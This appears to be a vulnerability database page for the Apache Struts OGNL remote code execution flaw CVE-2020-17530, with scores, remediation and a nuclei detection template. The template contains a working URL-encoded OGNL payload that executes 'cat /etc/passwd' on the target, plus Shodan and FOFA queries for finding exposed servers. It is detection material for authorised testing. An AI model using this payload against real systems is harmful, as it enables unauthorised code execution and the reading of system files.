Browse / CVEs / CVE-2020-17530
CVE-2020-17530· apache / struts· CWE-917
Apache Struts 2.0.0-2.5.25 - Remote Code Execution
Exploited in the wild. Listed by CISA on 2021-11-03; known to be used by ransomware.
criticalseverity
9.8CVSS score
96.3%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it
Apache Struts 2.0.0 through Struts 2.5.25 is susceptible to remote code execution because forced OGNL evaluation, when evaluated on raw user input in tag attributes, may allow it.
Impact
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected server.
Fix
Apply the latest security patches or upgrade to a non-vulnerable version of Apache Struts.
How to confirm it
Send: GET {{BaseURL}}/?id=%25%7B%28%23instancemanager%3D%23application%5B%22org.apache.tomcat.InstanceManager%22%5D%29.%28%23stack%3D%23attr%5B%22com.opensymph…
Positive when: matches /root:.*:0:0:/Run it with nuclei: nuclei -id CVE-2020-17530 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2020-17530
info:
name: Apache Struts 2.0.0-2.5.25 - Remote Code Execution
author: pikpikcu
severity: critical
description: Apache Struts 2.0.0 through Struts 2.5.25 is susceptible to remote code execution because forced OGNL evaluation, when evaluated on raw user input in tag attributes, may allow it.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected server.
remediation: |
Apply the latest security patches or upgrade to a non-vulnerable version of Apache Struts.
reference:
- http://packetstormsecurity.com/files/160721/Apache-Struts-2-Forced-Multi-OGNL-Evaluation.html
- http://jvn.jp/en/jp/JVN43969166/index.html
- https://cwiki.apache.org/confluence/display/WW/S2-061
- https://security.netapp.com/advisory/ntap-20210115-0005/
- https://nvd.nist.gov/vuln/detail/CVE-2020-17530
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2020-17530
cwe-id: CWE-917
epss-score: 0.96251
epss-percentile: 0.99878
cpe: cpe:2.3:a:apache:struts:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: apache
product: struts
shodan-query:
- http.html:"apache struts"
- http.title:"struts2 showcase"
- http.html:"struts problem report"
fofa-query:
- body="struts problem report"
- title="struts2 showcase"
- body="apache struts"
google-query: intitle:"struts2 showcase"
tags: cve,cve2020,apache,rce,struts,kev,packetstorm,vkev,vuln
http:
- method: GET
path:
- "{{BaseURL}}/?id=%25%7B%28%23instancemanager%3D%23application%5B%22org.apache.tomcat.InstanceManager%22%5D%29.%28%23stack%3D%23attr%5B%22com.opensymphony.xwork2.util.ValueStack.ValueStack%22%5D%29.%28%23bean%3D%23instancemanager.newInstance%28%22org.apache.commons.collections.BeanMap%22%29%29.%28%23bean.setBean%28%23stack%29%29.%28%23context%3D%23bean.get%28%22context%22%29%29.%28%23bean.setBean%28%23context%29%29.%28%23macc%3D%23bean.get%28%22memberAccess%22%29%29.%28%23bean.setBean%28%23macc%29%29.%28%23emptyset%3D%23instancemanager.newInstance%28%22java.util.HashSet%22%29%29.%28%23bean.put%28%22excludedClasses%22%2C%23emptyset%29%29.%28%23bean.put%28%22excludedPackageNames%22%2C%23emptyset%29%29.%28%23arglist%3D%23instancemanager.newInstance%28%22java.util.ArrayList%22%29%29.%28%23arglist.add%28%22cat+%2Fetc%2Fpasswd%22%29%29.%28%23execute%3D%23instancemanager.newInstance%28%22freemarker.template.utility.Execute%22%29%29.%28%23execute.exec%28%23arglist%29%29%7D"
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"References
- http://packetstormsecurity.com/files/160721/Apache-Struts-2-Forced-Multi-OGNL-Evaluation.html
- http://jvn.jp/en/jp/JVN43969166/index.html
- https://cwiki.apache.org/confluence/display/WW/S2-061
- https://security.netapp.com/advisory/ntap-20210115-0005/
- https://nvd.nist.gov/vuln/detail/CVE-2020-17530
Use this check only on systems you are authorised to test. Where the data comes from